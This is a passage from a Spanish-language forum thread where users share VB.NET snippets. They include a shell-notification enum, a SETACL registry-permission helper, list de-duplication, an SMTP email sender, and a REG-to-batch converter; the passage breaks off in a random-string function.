  144.        ' <i>dwItem1</i> contains the root of the drive that was added.
  145.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  146.        ' </summary>
  147.        Drive_Added_Shell = &H10000
  148.  
  149.        ' <summary>
  150.        ' A drive has been removed. <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  151.        ' <i>dwItem1</i> contains the root of the drive that was removed.
  152.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  153.        ' </summary>
  154.        Drive_Removed = &H80
  155.  
  156.        ' <summary>
  157.        ' Storage media has been inserted into a drive.
  158.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  159.        ' <i>dwItem1</i> contains the root of the drive that contains the new media.
  160.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  161.        ' </summary>
  162.        Media_Inserted = &H20
  163.  
  164.        ' <summary>
  165.        ' Storage media has been removed from a drive.
  166.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  167.        ' <i>dwItem1</i> contains the root of the drive from which the media was removed.
  168.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  169.        ' </summary>
  170.        Media_Removed = &H40
  171.  
  172.        ' <summary>
  173.        ' A folder on the local computer is being shared via the network.
  174.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  175.        ' <i>dwItem1</i> contains the folder that is being shared.
  176.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  177.        ' </summary>
  178.        Net_Shared = &H200
  179.  
  180.        ' <summary>
  181.        ' A folder on the local computer is no longer being shared via the network.
  182.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  183.        ' <i>dwItem1</i> contains the folder that is no longer being shared.
  184.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  185.        ' </summary>
  186.        Net_Unshared = &H400
  187.  
  188.        ' <summary>
  189.        ' The computer has disconnected from a server.
  190.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  191.        ' <i>dwItem1</i> contains the server from which the computer was disconnected.
  192.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  193.        ' </summary>
  194.        Server_Disconnected = &H4000
  195.  
  196.        ' <summary>
  197.        ' The attributes of an item or folder have changed.
  198.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  199.        ' <i>dwItem1</i> contains the item or folder that has changed.
  200.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  201.        ' </summary>
  202.        Attributes_Changed = &H800
  203.  
  204.        ' <summary>
  205.        ' A file type association has changed. <see cref="NotifyFlags.ItemIDList"/>
  206.        ' must be specified in the <i>uFlags</i> parameter.
  207.        ' <i>dwItem1</i> and <i>dwItem2</i> are not used and must be <see langword="null"/>.
  208.        ' </summary>
  209.        FileAssociation_Changed = &H8000000
  210.  
  211.        ' <summary>
  212.        ' The amount of free space on a drive has changed.
  213.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  214.        ' <i>dwItem1</i> contains the root of the drive on which the free space changed.
  215.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  216.        ' </summary>
  217.        Freespace_Changed = &H40000
  218.  
  219.        ' <summary>
  220.        ' The contents of an existing folder have changed but the folder still exists and has not been renamed.
  221.        ' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
  222.        ' <i>dwItem1</i> contains the folder that has changed.
  223.        ' <i>dwItem2</i> is not used and should be <see langword="null"/>.
  224.        ' If a folder has been created, deleted or renamed use Directory_Created, Directory_Removed or Directory_Renamed respectively instead.
  225.        ' </summary>
  226.        Update_Directory = &H1000
  227.  
  228.        ' <summary>
  229.        ' An image in the system image list has changed.
  230.        ' <see cref="NotifyFlags.DWORD"/> must be specified in <i>uFlags</i>.
  231.        ' </summary>
  232.        Update_Image = &H8000
  233.  
  234.    End Enum
  235.  
  236. End Class
  237.  
  238. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 21 Julio 2013, 02:15 am
No apruebo el uso de aplicaciones commandline a menos que sea para situaciones complicadas y tediosas como esta...

...Una class para usar SETACL para modificar el propietario de una clave de registro y para modificar los permisos de la clave:

PD: a ver si alguien nos sorprende con un código nativo...  :silbar:

Código
  1. #Region " SETACL Helper "
  2.  
  3.  
  4. ' [ SETACL Helper ]
  5. '
  6. ' // By Elektro H@cker
  7. '
  8. '
  9. ' INSTRUCTIONS:
  10. ' 1. Add the "SETACL.exe" in the project.
  11. '
  12. ' Examples :
  13. '
  14. ' SETACL.Set_Owner("HKCU\Test", True)
  15. ' SETACL.Set_Permission("HKCU\Test\", SETACL.SETACL_Permission.full, False)
  16.  
  17.  
  18. Public Class SETACL
  19.  
  20.    ' <summary>
  21.    ' Gets or sets the SETACL executable path.
  22.    ' </summary>
  23.    Public Shared SETACL_Location As String = ".\SetACL.exe"
  24.  
  25.    ' <summary>
  26.    ' Gets or sets the SETACL logfile filename.
  27.    ' </summary>
  28.    Public Shared SETACL_Logfile As String = ".\SetACL.log"
  29.  
  30.  
  31.    Public Enum SETACL_Permission
  32.  
  33.        ' <summary>
  34.        ' Create link
  35.        ' </summary>
  36.        create_link
  37.  
  38.        ' <summary>
  39.        ' Create subkeys
  40.        ' </summary>
  41.        create_subkey
  42.  
  43.        ' <summary>
  44.        ' Delete
  45.        ' </summary>
  46.        delete
  47.  
  48.        ' <summary>
  49.        ' Enumerate subkeys
  50.        ' </summary>
  51.        enum_subkeys
  52.  
  53.        ' <summary>
  54.        ' Notify
  55.        ' </summary>
  56.        notify
  57.  
  58.        ' <summary>
  59.        ' Query value
  60.        ' </summary>
  61.        query_val
  62.  
  63.        ' <summary>
  64.        ' Read control
  65.        ' </summary>
  66.        read_access
  67.  
  68.        ' <summary>
  69.        ' Set value
  70.        ' </summary>
  71.        set_val
  72.  
  73.        ' <summary>
  74.        ' Write permissions
  75.        ' </summary>
  76.        write_dacl
  77.  
  78.        ' <summary>
  79.        ' Take ownership
  80.        ' </summary>
  81.        write_owner
  82.  
  83.  
  84.        ' <summary>
  85.        ' Read (KEY_ENUMERATE_SUB_KEYS + KEY_EXECUTE + KEY_NOTIFY + KEY_QUERY_VALUE + KEY_READ + READ_CONTROL)
  86.        ' </summary>
  87.        read
  88.  
  89.        ' <summary>
  90.        ' Full access
  91.        ' (KEY_CREATE_LINK + KEY_CREATE_SUB_KEY +KEY_ENUMERATE_SUB_KEYS + ...
  92.        ' ...KEY_EXECUTE + KEY_NOTIFY + KEY_QUERY_VALUE + KEY_READ + KEY_SET_VALUE + ...
  93.        ' ...KEY_WRITE + READ_CONTROL + WRITE_OWNER + WRITE_DAC + DELETE)
  94.        ' </summary>
  95.        full
  96.  
  97.    End Enum
  98.  
  99.    ' <summary>
  100.    ' Checks if SETACL process is avaliable.
  101.    ' </summary>
  102.    Public Shared Function Is_Avaliable() As Boolean
  103.        Return IO.File.Exists(SETACL_Location)
  104.    End Function
  105.  
  106.    ' <summary>
  107.    ' Takes ownership of a registry key.
  108.    ' </summary>
  109.    Public Shared Sub Set_Owner(ByVal RegKey As String, ByVal Recursive As Boolean, Optional ByVal UserName As String = "%USERNAME%")
  110.  
  111.        If RegKey.EndsWith("\") Then RegKey = RegKey.Substring(0, RegKey.Length - 1)
  112.  
  113.        Dim Recursion As String = "No" : If Recursive Then Recursion = "Yes"
  114.  
  115.        Dim SETACL As New Process(), SETACL_Info As New ProcessStartInfo()
  116.  
  117.        SETACL_Info.FileName = SETACL_Location
  118.        SETACL_Info.Arguments = String.Format("-on ""{0}"" -ot reg -ownr ""n:{1}"" -rec ""{2}"" -actn setowner -silent -ignoreerr -log ""{3}""", RegKey, UserName, Recursion, SETACL_Logfile)
  119.        SETACL_Info.CreateNoWindow = True
  120.        SETACL_Info.UseShellExecute = False
  121.        SETACL.StartInfo = SETACL_Info
  122.        SETACL.Start()
  123.        SETACL.WaitForExit()
  124.  
  125.        If SETACL.ExitCode <> 0 Then
  126.            ' Throw New Exception("Exit code: " & SETACL.ExitCode)
  127.            MsgBox(IO.File.ReadAllText(SETACL_Logfile))
  128.        End If
  129.  
  130.    End Sub
  131.  
  132.    ' <summary>
  133.    ' Sets the user permission of a registry key.
  134.    ' </summary>
  135.    Public Shared Sub Set_Permission(ByVal RegKey As String, ByVal Permission As SETACL_Permission, ByVal Recursive As Boolean, Optional ByVal UserName As String = "%USERNAME%")
  136.  
  137.        If RegKey.EndsWith("\") Then RegKey = RegKey.Substring(0, RegKey.Length - 1)
  138.  
  139.        Dim Recursion As String = "No" : If Recursive Then Recursion = "Yes"
  140.  
  141.        Dim SETACL As New Process(), SETACL_Info As New ProcessStartInfo()
  142.  
  143.        SETACL_Info.FileName = SETACL_Location
  144.        SETACL_Info.Arguments = String.Format("-on ""{0}"" -ot reg -ace ""n:{1};p:{2}"" -rec ""{3}"" -actn ace -silent -ignoreerr -log ""{4}""", RegKey, UserName, Permission, Recursion, SETACL_Logfile)
  145.        SETACL_Info.CreateNoWindow = True
  146.        SETACL_Info.UseShellExecute = False
  147.        SETACL.StartInfo = SETACL_Info
  148.        SETACL.Start()
  149.        SETACL.WaitForExit()
  150.  
  151.        If SETACL.ExitCode <> 0 Then
  152.            ' Throw New Exception("Exit code: " & SETACL.ExitCode)
  153.            MsgBox(IO.File.ReadAllText(SETACL_Logfile))
  154.        End If
  155.  
  156.    End Sub
  157.  
  158. End Class
  159.  
  160. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 21 Julio 2013, 04:01 am
http://msdn.microsoft.com/en-us/library/microsoft.win32.registrykey.setaccesscontrol.aspx


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 21 Julio 2013, 04:10 am
Si el ejemplo del MSDN y otros ejemplos ya los habré intentado mil veces Novlucker :P

El código de ejemplo funciona, pero a la hora de intentar poner cualquier ejemplo en práctica con una clave creada por Windows Y CON LOS PERMISOS DENEGADOS... no tira ni a la de tres, al intentar abrir la clave siempre salta error de acceso ...incluso aunque primero se cambie el propietario actual de la clave y se cojan los permisos actuales con "GetAccessRights" ...que ni se pueden coger porque la clave no se puede abrir (opensubkey) por que no tiene permisos de lectura, de verdad que ese ejemplo del MSDN sirve para muy poco xD (segúramente yo esté fallando en algo).

un saludo


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 24 Julio 2013, 15:16 pm
Esto lleva 3 días sin recibir Snippets! :o
Mala señal...



Eliminar duplicados de un ListBox

Se necesita un listbox, algunos elementos repetidos entre sí dentro de el y un botón.

Código
  1. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  2.        MsgBox(Eliminar(ListBox1) & " elementos duplicados en el List.", MsgBoxStyle.Information)
  3.    End Sub
  4.  
  5.    Function Eliminar(ByVal LB As ListBox) As Int32
  6.        Dim i As Int32
  7.        Dim j As Int32
  8.        Dim n As Int32 ' Recorre los items ( compara empezando desde el primero , de abajo hacia arriba)
  9.        For i = 0 To LB.Items.Count - 2
  10.  
  11.            For j = LB.Items.Count - 1 To i + 1 Step -1 ' ... si es el mismo
  12.  
  13.                If LB.Items(i).ToString = LB.Items(j).ToString Then
  14.                    LB.Items.RemoveAt(j) ' elimina el elemento indicando el índice
  15.                    n += 1 'lleva la cuenta de los duplicados
  16.                End If
  17.            Next
  18.        Next
  19.        Return n ' retorna los eliminados
  20.    End Function

Resultado:

(http://1.bp.blogspot.com/-lriBong_WbU/UG-41zq87-I/AAAAAAAAEoc/GeW9R4PL1os/s320/listbox.gif)

PD: Este code lo he sacado de aquí: http://www.listeningonlineingles.com/2012/10/eliminar-duplicados-de-un-listbox-en.html

Pero está super ultra mega bug y yo lo he arreglado.

Un saludo.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 24 Julio 2013, 17:59 pm
Eliminar duplicados de un ListBox

Según como lo estás haciendo por cada item va a hacer casi un TRIPLE ciclo entero del resto de items del listbox, así que si hay 100 items hará como 250 checkeos distintos recorriendo casi todos los items del listbox, no lo he medido del todo pero más del doble si que es,
yo prefiero dejarle la lógica de comparar los items a algún método nativo...

Aquí va mi versión:

Código
  1. #Region " [ListBox] Remove Duplicates "
  2.  
  3.    ' [ListBox] Remove Duplicates
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' RemoveDuplicates(ListBox1)
  9.  
  10.    Private Sub RemoveDuplicates(ByVal [Listbox] As ListBox)
  11.  
  12.        Dim ItemArray() As String = [Listbox].Items.Cast(Of String).Distinct().ToArray
  13.        [Listbox].Items.Clear()
  14.        [Listbox].Items.AddRange(ItemArray)
  15.  
  16.    End Sub
  17.  
  18. #End Region

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 24 Julio 2013, 18:26 pm
Y si quiero saber cuantos están repes? :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 24 Julio 2013, 19:10 pm
Citar
Y si quiero saber cuantos están repes? :P

Usa la lógica y saca la diferencia:

Código
  1. Dim DuplicateCount As Int32 = ([Listbox].Items.XXXXX - ItemArray.XXXXX)

 · Donde "XXXXX" equivale a la propiedad que contiene el número total de items.





Eliminar duplicados de un array de string:

Código
  1. #Region " Remove Array Duplicates "
  2.  
  3.    ' Remove Array Duplicates
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim myarray(10) As String
  9.    ' myarray(0) = "a" : myarray(1) = "b" : myarray(2) = "b" : myarray(3) = "a"
  10.    ' myarray = RemoveDuplicates(myarray)
  11.  
  12.    Private Function RemoveDuplicates(ByVal Myarray() As String) As String()
  13.  
  14.        Array.Resize(Myarray, Myarray.Cast(Of String).Distinct().ToArray.LongLength - 1)
  15.        Return Myarray
  16.  
  17.    End Function
  18.  
  19. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 24 Julio 2013, 23:04 pm
Por increíble que parezca el Items.Count ha podido conmigo, ya te he enviado info con todo lo que he hecho y he probado :-\



Para no spamear meto un Snippete de camino:

Enviar Mails (Correos) desde un Form

Código
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.    Function SendEmail(ByVal Recipients As List(Of String), _
  4.                      ByVal FromAddress As String, _
  5.                      ByVal Subject As String, _
  6.                      ByVal Body As String, _
  7.                      ByVal UserName As String, _
  8.                      ByVal Password As String, _
  9.                      Optional ByVal Server As String = "smtp.gmail.com", _
  10.                      Optional ByVal Port As Integer = 587, _
  11.                      Optional ByVal Attachments As List(Of String) = Nothing) As String
  12.        Dim Email As New MailMessage()
  13.        Try
  14.            Dim SMTPServer As New SmtpClient
  15.            For Each Attachment As String In Attachments
  16.                Email.Attachments.Add(New Attachment(Attachment))
  17.            Next
  18.            Email.From = New MailAddress(FromAddress)
  19.            For Each Recipient As String In Recipients
  20.                Email.To.Add(Recipient)
  21.            Next
  22.            Email.Subject = Subject
  23.            Email.Body = Body
  24.            SMTPServer.Host = Server
  25.            SMTPServer.Port = Port
  26.            SMTPServer.Credentials = New System.Net.NetworkCredential(UserName, Password)
  27.            SMTPServer.EnableSsl = True
  28.            SMTPServer.Send(Email)
  29.            Email.Dispose()
  30.            Return "Email to " & Recipients(0) & " from " & FromAddress & " was sent."
  31.        Catch ex As SmtpException
  32.            Email.Dispose()
  33.            Return "Sending Email Failed. Smtp Error."
  34.        Catch ex As ArgumentOutOfRangeException
  35.            Email.Dispose()
  36.            Return "Sending Email Failed. Check Port Number."
  37.        Catch Ex As InvalidOperationException
  38.            Email.Dispose()
  39.            Return "Sending Email Failed. Check Port Number."
  40.        End Try
  41.    End Function
  42.    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  43.        Dim Recipients As New List(Of String)
  44.        Recipients.Add("SomeEmailAddress")
  45.        Dim FromEmailAddress As String = Recipients(0)
  46.        Dim Subject As String = "Test From VB."
  47.        Dim Body As String = "email body text, if you are reading this from your gmail account, the program worked."
  48.        Dim UserName As String = "GMAIL USERNAME WITHOUT  (@GMAIL>COM)"
  49.        Dim Password As String = "Password"
  50.        Dim Port As Integer = 587
  51.        Dim Server As String = "smtp.gmail.com"
  52.        Dim Attachments As New List(Of String)
  53.        MsgBox(SendEmail(Recipients, FromEmailAddress, Subject, Body, UserName, Password, Server, Port, Attachments))
  54.    End Sub
  55. End Class

Ale, ponte a optimizar xD :laugh:



Si hay algo que optimizar, luego pongo alguna especie de conversor de Html Entities y en el Body ("email body text, if you are reading this from your gmail account, the program worked.") se tunea un poco. :P

Un saludo.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 27 Julio 2013, 11:07 am
Comprobar si un archivo es un archivo de registro válido (version 5.0)

Código
  1. #Region " Is Registry File "
  2.  
  3.    ' [ Is Registry File Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(IsRegFile("C:\RegistryFile.reg"))
  9.  
  10.    ' IsRegistryFile
  11.    Private Function IsRegFile(ByVal RegistryFile As String) As Boolean
  12.  
  13.        Dim Regedit_Signature As String = "windows registry editor version 5.00"
  14.        Return IO.File.ReadAllText(RegistryFile).ToLower.Trim.StartsWith(Regedit_Signature)
  15.  
  16.    End Function
  17.  
  18. #End Region





El núcleo de mi programa REG2BAT, mejorado para soportar caracteres inválidos por Batch (para escaparlos)

Código
  1.    #Region " Reg2Bat "
  2.  
  3.       ' [ Reg2Bat Function ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       ' MsgBox(Reg2Bat("C:\Registry.reg"))
  9.  
  10.    Public Enum REG2BAT_Format As Int16
  11.        BINARY = 1
  12.        DWORD = 2
  13.        QWORD = 3
  14.        EXPAND_SZ = 4
  15.        MULTI_SZ = 5
  16.        REG_SZ = 0
  17.    End Enum
  18.  
  19.    ' Reg2Bat
  20.    Private Function Reg2Bat(ByVal Reg_File As String) As String
  21.  
  22.        ' Source Input
  23.        ' Join he lines, delete the Regedit linebreaks characters: "\  ", and then split the lines.
  24.        Dim RegFile() As String = Split( _
  25.                                  String.Join("@@@Reg2Bat@@@", IO.File.ReadAllLines(Reg_File)) _
  26.                                  .Replace("\@@@Reg2Bat@@@  ", "") _
  27.                                  .Replace("@@@Reg2Bat@@@", Environment.NewLine), _
  28.                                  Environment.NewLine)
  29.  
  30.        Dim RegLine As String = String.Empty ' Where the Regedit Line will be stored.
  31.        Dim RegKey As String = String.Empty ' Where the Regedit Key will be stored.
  32.        Dim RegVal As String = String.Empty ' Where the Regedit Value will be stored.
  33.        Dim RegData As String = String.Empty ' Where the Regedit Data will be stored.
  34.  
  35.        Dim Batch_Commands As String = String.Empty ' Where the decoded Regedit strings will be stored.
  36.  
  37.        Batch_Commands &= ":: Converted with REG2BAT by Elektro H@cker"
  38.        Batch_Commands &= Environment.NewLine & Environment.NewLine
  39.        Batch_Commands &= "@Echo OFF"
  40.        Batch_Commands &= Environment.NewLine & Environment.NewLine
  41.  
  42.        ' Start reading the Regedit File
  43.        For X As Int64 = 0 To RegFile.LongLength - 1
  44.  
  45.            RegLine = RegFile(X).Trim
  46.  
  47.            Select Case True
  48.  
  49.                Case RegLine.StartsWith(";") ' Comment line
  50.  
  51.                    Batch_Commands &= Environment.NewLine
  52.                    Batch_Commands &= String.Format("REM {0}", RegLine.Substring(1, RegLine.Length - 1).Trim)
  53.                    Batch_Commands &= Environment.NewLine
  54.  
  55.                Case RegLine.StartsWith("[-") ' Key to delete
  56.  
  57.                    RegKey = RegLine.Substring(2, RegLine.Length - 3).Trim
  58.                    Batch_Commands &= String.Format("REG DELETE ""{0}"" /F", RegKey)
  59.                    Batch_Commands &= Environment.NewLine
  60.  
  61.                Case RegLine.StartsWith("[") ' Key to add
  62.  
  63.                    RegKey = RegLine.Substring(1, RegLine.Length - 2).Trim
  64.                    Batch_Commands &= String.Format("REG ADD ""{0}"" /F", RegKey)
  65.                    Batch_Commands &= Environment.NewLine
  66.  
  67.                Case RegLine.StartsWith("@=") ' Default Value to add
  68.  
  69.                    RegData = Split(RegLine, "@=", , CompareMethod.Text).Last
  70.                    Batch_Commands &= String.Format("REG ADD ""{0}"" /V  """" /D {1} /F", RegKey, RegData)
  71.                    Batch_Commands &= Environment.NewLine
  72.  
  73.                Case RegLine.StartsWith("""") _
  74.                AndAlso RegLine.Split("=").Last = "-"  ' Value to delete
  75.  
  76.                    RegVal = RegLine.Substring(1, RegLine.Length - 4)
  77.                    Batch_Commands &= String.Format("REG DELETE ""{0}"" /V ""{1}"" /F", RegKey, RegVal)
  78.                    Batch_Commands &= Environment.NewLine
  79.  
  80.                Case RegLine.StartsWith("""") ' Value to add
  81.  
  82.                    ' Check data type:
  83.                    Select Case RegLine.Split("=")(1).Split(":")(0).ToLower
  84.  
  85.                        Case "hex" ' Binary
  86.  
  87.                            RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.BINARY))
  88.                            RegData = Get_Regedit_Data(RegLine, REG2BAT_Format.BINARY)
  89.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_BINARY"" /D ""{2}"" /F", RegKey, RegVal, RegData)
  90.                            Batch_Commands &= Environment.NewLine
  91.  
  92.                        Case "dword" ' DWORD (32 bit)
  93.  
  94.                            RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.DWORD))
  95.                            RegData = Get_Regedit_Data(RegLine, REG2BAT_Format.DWORD)
  96.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_DWORD"" /D ""{2}"" /F", RegKey, RegVal, RegData)
  97.                            Batch_Commands &= Environment.NewLine
  98.  
  99.                        Case "hex(b)" ' QWORD (64 bIT)
  100.  
  101.                            RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.QWORD))
  102.                            RegData = Get_Regedit_Data(RegLine, REG2BAT_Format.QWORD)
  103.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_QWORD"" /D ""{2}"" /F", RegKey, RegVal, RegData)
  104.                            Batch_Commands &= Environment.NewLine
  105.  
  106.                        Case "hex(2)"  ' EXPAND SZ
  107.  
  108.                            RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.EXPAND_SZ))
  109.                            RegData = Format_Regedit_String(Get_Regedit_Data(RegLine, REG2BAT_Format.EXPAND_SZ))
  110.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_EXPAND_SZ"" /D ""{2}"" /F", RegKey, RegVal, RegData)
  111.                            Batch_Commands &= Environment.NewLine
  112.  
  113.                        Case "hex(7)" ' MULTI SZ
  114.  
  115.                            RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.MULTI_SZ))
  116.                            RegData = Format_Regedit_String(Get_Regedit_Data(RegLine, REG2BAT_Format.MULTI_SZ))
  117.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_MULTI_SZ"" /D ""{2}"" /F", RegKey, RegVal, RegData)
  118.                            Batch_Commands &= Environment.NewLine
  119.  
  120.                        Case Else ' REG SZ
  121.  
  122.                            RegVal = Format_Regedit_String(Get_Regedit_Value(RegLine, REG2BAT_Format.REG_SZ))
  123.                            RegData = Format_Regedit_String(Get_Regedit_Data(RegLine, REG2BAT_Format.REG_SZ))
  124.                            Batch_Commands &= String.Format("REG ADD ""{0}"" /V ""{1}"" /T ""REG_SZ"" /D ""{2}"" /F", RegKey, RegVal, RegData)
  125.                            Batch_Commands &= Environment.NewLine
  126.  
  127.                    End Select
  128.  
  129.            End Select
  130.  
  131.        Next
  132.  
  133.        Return Batch_Commands
  134.  
  135.    End Function
  136.  
  137.    ' Get Regedit Value
  138.    Private Function Get_Regedit_Value(ByVal Line As String, ByVal REG2BAT_Format As REG2BAT_Format) As String
  139.  
  140.        Dim str As String = Nothing
  141.  
  142.        Select Case REG2BAT_Format
  143.  
  144.            Case REG2BAT_Format.BINARY : str = Split(Line, "=hex:", , CompareMethod.Text).First
  145.            Case REG2BAT_Format.DWORD : str = Split(Line, "=dword:", , CompareMethod.Text).First
  146.            Case REG2BAT_Format.QWORD : str = Split(Line, "=hex(b):", , CompareMethod.Text).First
  147.            Case REG2BAT_Format.EXPAND_SZ : str = Split(Line, "=Hex(2):", , CompareMethod.Text).First
  148.            Case REG2BAT_Format.MULTI_SZ : str = Split(Line, "=Hex(7):", , CompareMethod.Text).First
  149.            Case REG2BAT_Format.REG_SZ : str = Split(Line, """=""", , CompareMethod.Text).First
  150.            Case Else : Return Nothing
  151.  
  152.        End Select
  153.  
  154.        If str.StartsWith("""") Then str = str.Substring(1, str.Length - 1)
  155.        If str.EndsWith("""") Then str = str.Substring(0, str.Length - 1)
  156.        Return str
  157.  
  158.    End Function
  159.  
  160.    ' Get Regedit Data
  161.    Private Function Get_Regedit_Data(ByVal Line As String, ByVal REG2BAT_Format As REG2BAT_Format) As String
  162.  
  163.        Dim Data As String = Nothing
  164.  
  165.        Select Case REG2BAT_Format
  166.  
  167.            Case REG2BAT_Format.BINARY
  168.                Return Split(Line, (Split(Line, "=hex:", , CompareMethod.Text).First & "=hex:"), , CompareMethod.Text).Last.Replace(",", "")
  169.  
  170.            Case REG2BAT_Format.DWORD
  171.                Return "0x" & Split(Line, (Split(Line, "=dword:", , CompareMethod.Text).First & "=dword:"), , CompareMethod.Text).Last.Replace(",", "")
  172.  
  173.            Case REG2BAT_Format.QWORD
  174.                Line = StrReverse(Split(Line, (Split(Line, "=hex(b):", , CompareMethod.Text).First & "=hex(b):"), , CompareMethod.Text).Last.Replace(",", ""))
  175.                For Each [byte] In Line.Split(",") : Data &= StrReverse([byte]) : Next
  176.                Return Data
  177.  
  178.            Case REG2BAT_Format.EXPAND_SZ
  179.                Line = Split(Line, (Split(Line, "=Hex(2):", , CompareMethod.Text).First & "=hex(2):"), , CompareMethod.Text).Last.Replace(",00", "").Replace("00,", "")
  180.                For Each [byte] In Line.Split(",") : Data &= Chr(Val("&H" & [byte])) : Next
  181.                Return Data.Replace("""", "\""")
  182.  
  183.            Case REG2BAT_Format.MULTI_SZ
  184.  
  185.                Line = Split(Line, (Split(Line, "=Hex(7):", , CompareMethod.Text)(0) & "=hex(7):"), , CompareMethod.Text).Last.Replace(",00,00,00", ",\0").Replace(",00", "").Replace("00,", "")
  186.  
  187.                For Each [byte] In Line.Split(",")
  188.  
  189.                    If [byte] = "\0" Then
  190.                        Data &= "\0" ' Line separator for multiline.
  191.                    Else
  192.                        Data &= Chr(Val("&H" & [byte]))
  193.                    End If
  194.  
  195.                Next
  196.  
  197.                Return Data.Replace("""", "\""")
  198.  
  199.            Case REG2BAT_Format.REG_SZ
  200.                Data = Split(Line, (Split(Line, """=""", , CompareMethod.Text)(0) & """="""), , CompareMethod.Text).Last
  201.                Data = Data.Substring(0, Data.Length - 1)
  202.                Return Data
  203.  
  204.            Case Else
  205.                Return Nothing
  206.  
  207.        End Select
  208.  
  209.    End Function
  210.  
  211.    ' Format Regedit String
  212.    Private Function Format_Regedit_String(ByVal str As String) As String
  213.  
  214.        str = str.Replace("%", "%%")
  215.        If Not str.Contains("""") Then Return str
  216.  
  217.        str = str.Replace("\""", """")
  218.  
  219.        Dim strArray() As String = str.Split("""")
  220.  
  221.        For num As Long = 1 To strArray.Length - 1 Step 2
  222.  
  223.            strArray(num) = strArray(num).Replace("^", "^^") ' This replace need to be THE FIRST.
  224.            strArray(num) = strArray(num).Replace("<", "^<")
  225.            strArray(num) = strArray(num).Replace(">", "^>")
  226.            strArray(num) = strArray(num).Replace("|", "^|")
  227.            strArray(num) = strArray(num).Replace("&", "^&")
  228.            ' strArray(num) = strArray(num).Replace("\", "\\")
  229.  
  230.        Next
  231.  
  232.        Return String.Join("\""", strArray)
  233.  
  234.    End Function
  235.  
  236.    #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: The_Saint en 29 Julio 2013, 23:12 pm
EleKtro H@cker
Espectacular el curro que te has pegado con los snippets  ;-)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 31 Julio 2013, 00:02 am
Seguro que cuando Elektro ha visto que un tal H_MUDA ha comentado, ha pensado, NUEVOS SNIPPETS! jajaja Yo también me he llevado una decepción. '--



Crear String random:

Código
  1. Imports System.Text
  2.  
  3. Public Class Form1
  4.  
  5. Function Randomize() 'Fuck the police
  6.        Dim s As String = "abcdefghijklmnopqrstuvwyxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 'Aquí se define los caracteres que se van a mostrar
  7.        Dim r As New Random 'Se declara la Class Random
  8.        Dim sb As New StringBuilder 'Se declarar la Class StingBuilder
  9.        For i As Integer = 1 To 8 'Aquí se llama al ciclo For; el 8 representa el numero de caracteres en la cadena
  10.            Dim idx As Integer = r.Next(0, 35) 'Esto no se muy bien que hace xD
  11.            sb.Append(s.Substring(idx, 1)) 'Y esto lo muestra?
  12.        Next
  13.        Return sb.ToString 'Esto lo returna para que luego en el MsgBox salga el valor correcto
